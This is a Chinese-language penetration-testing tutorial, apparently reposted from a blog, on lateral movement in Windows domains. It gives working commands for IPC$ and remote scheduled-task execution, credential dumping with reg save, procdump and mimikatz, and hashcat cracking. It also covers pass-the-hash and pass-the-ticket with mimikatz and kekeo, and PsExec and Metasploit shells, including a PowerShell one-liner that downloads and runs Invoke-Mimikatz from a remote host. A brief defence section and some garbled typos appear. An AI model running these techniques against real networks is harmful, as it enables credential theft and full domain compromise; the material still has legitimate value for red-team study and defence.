域內橫向移動
本文轉載來自:https://pingmaoer.github
利用域內橫向移動技術,以被攻陷的系統為跳板,訪問其他域內主機,擴大資產范圍(包括跳板機器中的文檔和存儲的憑證,以及通過跳板機器連接的數據庫、域控制器或其他重要資產)

通過此類攻擊手法,最終可能獲取域控制器的訪問權限,甚至完全控制基于Windows操作系統的基礎設置和與業務相關的關鍵賬戶
0x01 常用的windows遠程連接和相關命令
在拿到目標計算機的用戶明文密碼或者NTLM Hash后,可通過PTH(Pass the Hash,憑據傳遞)的方法,將散列值或明文密碼傳送到目標機器中進行驗證。與目標機器建立連接后,可以使用相關方法在遠程windows操作系統中執行命令。像在多層代理環境中進行滲透,由于網絡條件差,無法使用圖形化界面連接遠程主機。這個時候就可以用命令行的方式連接遠程主機,最好是windows自帶的方法對遠程目標系統進行命令行下的連接操作,并執行相關命令
IPC
IPC(Inter Process Connection)共享命名管道的資源,是為了實現進程間通信而開放的命名管道。IPC可以通過驗證用戶名和密碼獲取相應權限,通常在遠程管理計算機和查看計算機的共享資源時使用
通過ipc$可以與目標機器建立連接。利用這個連接,不僅可以訪問目標機器只能夠的文件,進行上傳、下載等操作,還可以在目標機器上運行其他命令,以獲取目標機器的目錄結構、用戶列表等信息
建立一個ipc$并查看當前連接輸入如下命令
net use \\192.168.1.1\ipc$ "Admin!@#$4321" /user:administrator net use

1、ipc$的利用條件
- 開啟了139、445端口
ipc$可以實現遠程登錄及對默認共享資源的訪問,而139端口的開啟表示NetBIOS協議的應用。通過139、445端口,可以實現對共享文件/打印機的訪問。因此,一般來講,ipc$需要139、445端口的支持
- 管理員開啟了默認共享
- 默認共享是為了方便管理員進行遠程管理而默認開啟,包括所有的邏輯盤(
c$、d$、e$等)和系統目錄wint或Windows(admin$)。通過ipc,可以實現對這些默認貢獻目錄的訪問
2、ipc$連接失敗的原因
- 用戶名或密碼錯誤
- 目標沒有打開ipc$共享目錄
- 不能成功連接目標的139、445端口
- 命令輸入錯誤
3、常見錯誤
- 錯誤號5:拒絕訪問
- 錯誤號51:windows無法找到網絡路徑,即網絡中存在問題
- 錯誤號53:找不到網絡路徑,包括IP地址錯誤、目標未開機、目標lanmanserver服務未啟動、目標有防火墻(端口過濾)
- 錯誤號67:找不到網絡名,包括lanmanworkstation服務未啟動、ipc$已被刪除
- 錯誤號1219:提供的憑據與已存在的憑據集沖突。例如,已經和目標建立了ipc$,需要在刪除原連接后重新進行連接
- 錯誤號1326:未知的用戶名或密碼錯誤
- 錯誤號1792:試圖登錄,但是網絡登錄服務沒有啟動,包括目標NetLogin服務未啟動(連接域控制器時會出現此情況)
- 錯誤號2242:此用戶的密碼已經過期。例如,目標機器設置了賬號管理策略,強制用戶定期修改密碼
使用Windows自帶的工具獲取遠程主機信息
1、dir命令
建立連接后,使用dir命令列出遠程主機中的文件
dir \\192.168.1.1\c$

2、tasklist命令
在使用net use命令與目標主機建立ipc$后,使用tasklist命令的/S 、/U、/P參數列出遠程主機上運行的進程
tasklist /S 192.168.1.1 /U administrator /P Admin!@#$4321

計劃任務
1、at命令
at是Windows自帶的用于創建計劃任務的命令,它主要工作在Windows Server2008之前版本的操作系統中。使用at命令在遠程目標機器上創建計劃任務的流程大致如下:
- 使用
net time命令確定遠程機器當前的系統時間 - 使用copy命令將payload文件復制到遠程目標機器中
- 使用at命令定時啟動創建計劃任務的記錄
在使用at命令在遠程機器上創建計劃任務之前,需要使用net use命令建立ipc$
(1)查看目標系統時間
net time命令可查看遠程主機的系統時間
net time \\192.168.1.1

(2)將文件復制到目標系統中
先在本地創建一個calc.bat文件,其內容為calc然后,讓windows遠程一個計算器策劃那個廢墟,用Windows自帶的copy命令將一個文件復制到遠程主機的C盤中
copy calc.bat \\192.168.1.1\C$

(3)使用at創建計劃任務
使用at命令讓目標系統在指定時間運行一個程序,192.168.1.3是一臺Windows7
at \\192.168.1.3 15:22:40 C:\calc.bat

(4)清除at記錄
計劃任務不會隨著它本身的執行而被刪除,因此在執行后記得清楚自己創建的計劃任務
at \\192.168.1.3 /delete
使用at遠程執行命令后,先將執行結果寫入本地文本文件,再使用type命令遠程讀取該文本文件
at \\192.168.1.3 15:33:37 cmd.exe /C "ipconfig" >C:/"1.txt" type \\192.168.1.3\C$\1.txt
2、schtasks命令
Windows Vista、windows server2008及之后版本的操作系統已將at命令廢棄了,可以使用schtasks命令代替at命令.schtask命令比at命令更為靈活、自由
在遠程主機創建一個test的計劃任務。該計劃任務在開機時啟動,啟動程序為C盤下的calc.bat啟動權限是system。隨后運行該計劃任務
schtasks /create /s 192.168.1.3 /tn test /sc onstart /tr c:\cala.bat /ru system /f schtasks /run /s 192.168.1.3 /i /tn "test"

這里使用schtasks命令不需要密碼是因為之前已經建立了ipc$在沒有建立ipc$的情況下,需要添加/u和/p的參數。schtasks命令參數如下
- /u : administrator
- /p: “Admin!@#$4321”
- /f: 強制刪除
計劃任務運行后,刪除該計劃任務,命令如下
schtasks /delete /s 192.168.1.3 /tn "test" /f

最后,刪除ipc$需要確認刪除的是自己創建的
net use 名稱 /del /y net use \\192.168.1.1 /del /y

在使用schtasks命令時,會在系統中留下日志文件C:\Windows\Tasks\SCHEDLGU.txt如果執行schtasks命令后沒有回顯,可配合ipc$執行文件,使用type命令遠程查看執行結果
0x02 Windoors系統散列值獲取
LM Hash和NTLM Hash
windows操作系統通常使用兩種方法對用戶的明文密碼進行加密處理。域環境中,用戶信息存儲在ntds.dit,加密后為散列值
windows操作系統密碼一般由兩部分組成,一部分為LM Hash另一部分為NTLM Hash在Windows中,Hash的結構通常如下
username:RID:LM-HASH:NT-HASH
LM Hash全名為LAN Manager Hash是微軟為了提高windows操作系統的安全性能而采用的散列加密算法,其本質是DES加密,密碼不足14字節將用0補全。LM Hash較容易破解,但微軟僅僅是將LM Hash禁用了從windows Vista和windows server 2008版本開始,Windows操作系統默認禁用LM Hash。LM Hash明文密碼限定在14位以內,也就是說,如果要停止使用LM Hash 將用戶密碼設置為14位以上即可。如果LM Hash被禁用,通過工具抓取的LM Hash通常為”add3b435b51404eeaad3b435b51404ee”表示LM Hash為空值或被禁用
NTLM Hash是微軟為了提高安全性的同時兼容而設計的散列加密算法。NTLM Hash 是基于MD4加密算法進行加密的。個人版從Windows vista 服務器版從windows server2003以后,windows操作系統的認證方式均為NTLM Hash
單機密碼抓取
要想在windows操作系統中抓取散列值或明文密碼,必須將權限提升至system。本地用戶名、散列值感和其他安全驗證信息都存在SAM文件中。lsass.exe進程用于實現windows的安全策略(本地安全策略和登錄策略)。可以使用工具將散列值和明文密碼從內存中的lsass.exe進程或SAM文件中導出
在windows操作系統中,SAM文件保存的位置是C:\windows\systen\config 該文件是被鎖定的,不允許復制。在滲透中,可在關閉操作系統后,使用PE盤進入文件管理環境,直接復制SAM文件,也可使用VSS等方法進行復制
1、GetPass
打開GetPass工具,根本當前系統的版本運行對應的程序,即可獲得

2、PwDump7
在命令行中運行PwDump7程序,可得到所有賬戶的NTLM Hash可用彩虹表或在線破解,破解不出的時候可使用哈希傳遞的方法進行橫向滲透

3、QuarkPwDump
管理員權限下運行,導出用戶的NTLM Hash
QuarksPwDump.exe --dump-hash-local QuarksPwDump.exe -dhl -o 1.txt

4、通過SAM和SYSTEM文件抓取密碼
(1)導出SAM和SYSTEM文件到本地磁盤,無工具導出如下
reg save HKLM\SYSTEM system.hive reg save HKLM\SAM sam.hive reg save hklm\security security.hive
(2)通過讀取SAM文件和System文件獲得NTLM Hash
mimikatz可執行哈希傳遞、票據傳遞或構建黃金票據(Golden Ticket)
將把導出的sam.hive跟system.hive文件放到mimikatz通目錄下,運行mimikatz,輸入如下命令
lsadump::sam /sam:sam.hive /system:system.hive

(3) 使用mimikatz直接讀取本地的SAM文件,導出hash值
這里需要在目標機器上運行,打開后,輸入如下命令,將權限提升到system最后讀取本地的SAM文件,獲得NTLM Hash
privilege::debug token::elevate lsadump::sam

5、使用mimikatz在線讀取SAM文件
在線讀取散列值及明文密碼,如下命令
mimikatz.exe "privilege::debug" "log" "sekurlsa::logonpasswords"

6、使用mimikatz離線讀取lsass.dmp文件
(1)導出lasses.dmp文件
在Windows NT6中找到lsass.exe進程,單擊右鍵,在彈出的快捷菜單中選擇Create Dump File選項
此時會在本地生成lsass(2).exe.DMP文件
(2)使用Procdump導出lasses.dmp
procdump是微軟官方發布工具,可在命令行下將目標lsass文件導出,且殺毒軟件不會攔截這些操作,下載地址:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
procdump64.exe -accepteula -ma lsass.exe lsass.dmp

(3)使用mimikatz導出lasses.dmp文件中的密碼散列值
命令行中啟動mimikatz,將lass.dmp加載在mimikatz中。先運行第一條命令,如果看到Switch to MINIDUMP字樣,表示加載成功,再運行第二條命令,導出密碼散列值
sekurlsa::minidump lsass.DMP sekurlsa::logonPasswords full

7、使用powershell對散列值進行Dump操作
Nishang的Get-PassHashes.ps1腳本可用來導出散列值
管理員的權限打開powershelgl,進入Nishang目錄,將Get-PassHashes.ps1腳本導入,之后執行Get-PassHashes命令,導出散列值,測試的時候在域環境中的2008R2跟單環境的win10都不成功,暫時不知道原因
Import-Module .\Get-PassHashes.ps1 Get-PassHashes
8、使用powershell遠程加載mimikatz抓取散列值和明文密碼
在命令行中遠程獲取密碼
powershell IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.3:8000/PowerSploit/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz

使用Hashcat獲取密碼
1、安裝Hashcat
下載地址:https://github.com/hashcat/hashcat/archive/v5.1.0.zip
git clone https://github.com/hashcat/hashcat.git make //編譯 make install //安裝 ./hashcat -h //查看幫助信息

還有一種方法是直接下載Hashcat的源碼,在相應的linux操作系統中直接運行hashcat32.bin或hashcat64.bin。同時Hashcat還有可執行程序的版本,可在window中直接運行32位或64位的Hashcat,命令如下
./hashcat64.bin -h
2、Hashcat的使用方法
使用-b參數,測試使用當前機器進行破解的基準速度,這里由于是在虛擬機中,因此使用–force參數強制執行
hashcat -b --force

(1) 指定散列值類型
使用-m參數指定散列值類型,常見散列值類型可參考Hashcat幫助或其官網:https://hashcat.net/wiki/doku.php?id=example_hashes

(2) 指定破解模式
可用 -a number來指定Hashcat的破解模式,模式乳腺癌
0 = Straight //字典破解 1 = Combination //組合破解 2 = Toggle-Case 3 = Brute-force //掩碼暴力破解 4 = Permutation //組合破解 5 = Table-Lookup
(3) 常用命令
通常使用字典模式進行破解,輸入如下命令,Hashcat將開始破解
hashcat -a 0 -m xx
- -a 0:以字典模式破解
- -m xx:指定內的散列值類型
- :將多個散列值存入文本,等待破解
- :指定字典文件
將1到8指定為數字進行破解
hashcat -a 3 --increment --increment-min 1--increment-max 8 ?d?d?d?d?d?d?d?d -O
破解windows散列值,命令如下
hashcat-m 1000 -a 0 -o winpassok.txt win.hash password.lst --username
破解WIFI握手包,命令如下,這里需要使用aircrack-ng把cap格式轉換成bccap格式,才可使用hashcat破解
aircrack-ng -J hashcat -m 2500 out.hccap dics.txt
- -m 2500:指定散列值的類型為APA/PSK
(4)常用選項
命令hashcat -h可查看所有選項,常用的如下
- -show: 僅顯示已經破解的密碼
- -o,outfile=File:定義散列值文件,恢復文件名和保存位置
- -n,-threads=NUM:線程數
- –remove:把破解出來的密碼從散列表中移除
- –segment-size 512:設置內存緩存的大小,可提高破解速度,單位為MB
處于更加方便快捷,可直接使用在線的破解網站,如下
http://www.xmd5.com/
https://www.cmd5.com/
https://www.somd5.com/
防范抓取明文密碼和散列值
1、設置Active Directory2012 R2功能級別
windows server 2012 R2新增了一個名為受保護的用戶的用戶組。將需要保護的用戶放入該組,則無法使用mimikatz等工具抓取明文密碼和散列值了
2、安裝KB2871997
KB2871997是解決PsExec或IPC遠程查看(c$)問題的補丁,被使本地賬號不再被允許遠程接入計算機系統,但系統默認的本地管理員賬號Administrator這個SID為500的用戶例外,改名也沒法,因為SID是不變的,依舊可以橫向獲取內網其他計算機的權限,需要禁用默認的Administrator賬號,則可防御哈希傳遞
3、通過修改注冊表禁止在內存中存儲明文密碼
WDigest協議,該協議能夠使Windows將明文密碼存儲在內存中,以方便用戶登錄本地計算機,可通過修改注冊表的方式,解決內存中以明文存儲密碼的問題
4、防御mimikatz
mimikatz在抓取散列值或明文密碼時需要使用Debug權限(因為mimikatz需呀和lsass進程進行交互,如果沒有Debug權限,mimikatz將不能讀取lsass進程)。將擁有Debug權限的本地管理員從Administrator組中刪除,重啟。
0x03 哈希傳遞攻擊
哈希傳遞攻擊概念
哈希傳遞(Pass The Hash)攻擊,該方法通過找到與賬戶相關的密碼散列值,通常是NTLM Hash來進行攻擊。域環境中,用戶登錄計算機時使用的大都是域賬號,大量計算機在安裝時會使用相同的本地管理員賬號和密碼。若計算機的本地管理員賬號和密碼是相同的,就可以使用哈希傳遞的方法登錄內網中的其他計算機,這種哈希傳遞,可以省去破解密碼散列值,即獲得密碼明文的步驟
Windows中,散列值是用來證明身份的(有正確的用戶名和密碼散列值,就能通過驗證)。在windows server 2012 R2 及之后的操作系統中,默認在內存不會記錄明文密碼。因此可使用工具將散列值傳遞到其他計算機,進行權限驗證,進而對其他計算機獲取控制權限
哈希傳遞攻擊
散列值的概念:當用戶設置密碼的時候,網站服務器會對用戶輸入的密碼進行散列加密處理(通常使用MD5算法)。散列加密算法一般為單向不可逆算法。當用戶登陸網站的時候,會先對用戶輸入的密碼進行散列加密處理,再與數據庫中存儲的散列值進行對比,如果相同則驗證成功。
Windows操作系統,通常會使用NTLM Hash對訪問資源的用戶進行身份驗證,早起的Windows操作系統,則使用LM Hash對用戶密碼進行驗證。但是呢,當密碼大于等于15位的時候,就無法使用LM Hash了。從Windows Vista和Windows Server 2008版本開始,Windows操作系統默認禁用LM Hash,因為使用NTLM Hash進行身份認證時,不會使用明文口令,而是將明文口令通過系統API(例子LsaLogonUser)轉換成散列值。攻擊者在獲得密碼散列值之后,依舊可以使用哈希傳遞攻擊來模擬用戶進行認證。
1、使用NTLM Hash進行哈希傳遞
實驗環境:
- 域名:hack.testlab
- 用戶名:administrator
- NTLM Hash:09bc0266e773764dc3606744ddbe133d
在目標機器上,以管理員的權限運行mimikatz輸入如下命令,之后會彈出cmd.exe在命令行環境嘗試列出域控制器或其他機器的C盤內容,dir后面跟主機名,只有是哈希相同的那么就可以列出其C盤的內容
mimikatz.exe "privilege::debug" sekurlsa::pth /user:administrator /domain:hacke.testlab /ntlm:09bc0266e773764dc3606744ddbe133d //可以連在一起執行

2、使用AES-256秘鑰進行哈希傳遞
實驗環境:遠程系統(必須安裝KB2871997)
- 域名:hacke.testlab
- 用戶名:administrator
- AES-256密鑰:1670230ac09d8fdff51c080b2c98f44f5c56270f5692ab8f60df6daeaee20903
mimikatz.exe "privilege::debug" "sekurlsa::ekeys"

在目標機器中,以管理員權限運行mimikatz輸入如下命令
mimikatz.exe "privilege::debug" sekurlsa::pth /user:administrator /domain:hacke.testlab /aes256:1670230ac09d8fdff51c080b2c98f44f5c56270f5692ab8f60df6daeaee20903
在目標機器再次運行,即可列出遠程主機的C盤內容,測試的過程中在windows7根2008r2沒裝上補丁
需要注意的是:
-
dir后跟要使用的主機名,而不是IP地址,否則會提示用戶名或密碼錯誤 - 除了AES-256密鑰,AES-128密鑰也可以用來進行哈希傳遞
- 使用AES密鑰對遠程主機進行哈希傳遞的前提是在本地安裝KB2871997
- 如果安裝了KB2871997,仍然可以使用SID為500的用戶的NTLMHash進行哈希傳遞
- 使用mimikatz哈希傳遞功能,需要具備本地管理員權限。這是由mimikatz的實現機制決定的(需要高權限進程lsass.exe的執行權限)
KB2871997補丁影響
KB2871997補丁的作用是禁止通過本地管理員權限與遠程計算機進行連接,因此安裝本補丁時,本地管理員權限無法對遠程計算機使用PsExec、WMI、smbexec、schtasks、at,也無法訪問遠程主機的文件共享等
更新KB2871997補丁后,無法使用常規的哈希傳遞方法進行橫向移動,但Aadministrator賬號(SID為500)例外,使用該賬號的散列值依舊可以進行哈希傳遞。
SID為500的賬號。在一些計算機中即使將administrator賬號改名,也不會影響SID的值。因此使用SID為500的賬號進行橫向移動,就不會受到KB2871997的影響
0x04票據傳遞
要想使用mimikatz的哈希傳遞功能,需要具備本地管理員權限,mimikatz提供了不需要本地管理員全新進行橫向滲透的方法,如票據傳遞(Pass The Ticket, PTT)
使用mimikatz進行票據傳遞
使用mimikatz可以將內存中的票據導出。導出命令如下
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export"

執行票據導出命令后,會在當前目錄下出現多個服務的票據文件,如krbtgt、cifs、ldap等,使用mimikatz清楚內存中的票據,隨之將票據文件注入內存,將高權限的票據文件注入內存后,可列出遠程計算機系統的文件目錄命令如下
kerberos::purge mimikatz.exe "kerberos::ptt "C:\ticket\[0;59f88]-2-0-60a10000-Administrator@krbtgt-HACKE.TESTLAB.kirbi" dir \\dc\c$


使用kekeo進行票據傳遞
票據傳遞也可以使用kekeo工具來實現,下載地址:https://github.com/gentilkiwi/kekeo
kekeo需要使用域名、用戶名、NTLMHash三者配合生成票據,再將票據導入,從而直接連接遠程計算機
實驗環境
- 域名:hacke.testlab
- 用戶名:administrator
- NTLM Hash:09bc0266e773764dc3606744ddbe133d
在目標機器中輸入命令,運行kekeo,在當前目錄下生成一個票據文件,票據文件為TGT_administrator@HACKE.TESTLAB_krbtgt~hacke.testlab@HACKE.TESTLAB.kirbi。如圖
kekeo "tgt::ask /user:administrator /domain:hacke.testlab /ntlm:09bc0266e773764dc3606744ddbe133d

在kekeo中清除當前內存中的其他票據(否則可能導致票據傳遞失敗),在windows命令運行環境中執行系統自帶的命令,也可以清除內存中的票據
kerberos::purge

使用kekeo將票據文件導入內存,將票據文件導入內存后,使用exit 命令退出kekeo使用dir命令,列出遠程主機中的文件命令如下
kerberos::ptt TGT_administrator@HACKE.TESTLAB_krbtgt~hacke.testlab@HACKE.TESTLAB.kirbi

需要注意的是:
- dir命令,是主機,不要使用ip地址
- 票據文件注入的默認有效時間是10小時
- 目標機器上不需要本地管理員權限即可進行票據傳遞
PsExec的使用
PsExec可以在windows vista/Nt 4.0/2000/XP/Server 2003/Server 2008/Server 2012/Server 2016包含64位版本上運行
PsTools工具包中的PsExec
PsExec包含在PsTools工具包中,下載地址:https://download.sysinternals.com/files/PSTools.zip。通過PsExec,可以在遠程計算機上執行命令,可以將管理員權限提升到system權限以運行執行的程序。
PsExec原理:
通過管道在遠程目標機器上創建一個psexec服務,并在本地磁盤中生成一個名為PSEXESVC的二進制文件,之后,通過psexec服務運行命令,運行結束后刪除服務。
獲取目標操作系統的交互式shell,在建立ipc$的情況下,執行如下命令,可以獲取system權限的shell
net use \\192.168.1.3\ipc$ "Admin!@#$4321" /user:administrator PsExec.exe -accepteula \\192.168.1.3 -s cmd.exe PsExec.exe -accepteula \\192.168.1.3 cmd.exe whoami

在沒有建立ipc$``PsExec有兩個參數可以通過指定賬號和密碼進行遠程連接,注意這里用戶名前面要加域,不然會提示登錄失敗: 未知的用戶名或錯誤密碼
- -u:域\用戶名
- -p:密碼
PsExec.exe \\192.168.1.2 -u administrator -p Admin!@#$4321 cmd.exe PsExec.exe \\192.168.1.2 -u HACKE\administrator -p Admin!@#$4321 cmd.exe

使用PsExec時,需要注意:
- 需要遠程系統開啟admin$共享(默認是開啟的)
- 在使用ipc$連接目標系統后,不需要輸入賬號和密碼
- 使用PsExec執行命令時,由于創建或刪除服務時會產生大量的日志,可通過日志反推攻擊
- 使用PsExec可以直接獲得system權限的交互式shell
metasploit中的psexec模塊
使用命令進行搜索,然后輸入對應的使用命令,這里測試的時候沒成,暫時不知道原因…
search psexec set rhost 192.168.1.2 set smbuser administrtaor set smbpass Admin!@#$4321 run

psexec_pth模塊和psexec模塊的使用方法相同,psexec_pth模塊上傳的餓payload是powershell版本的。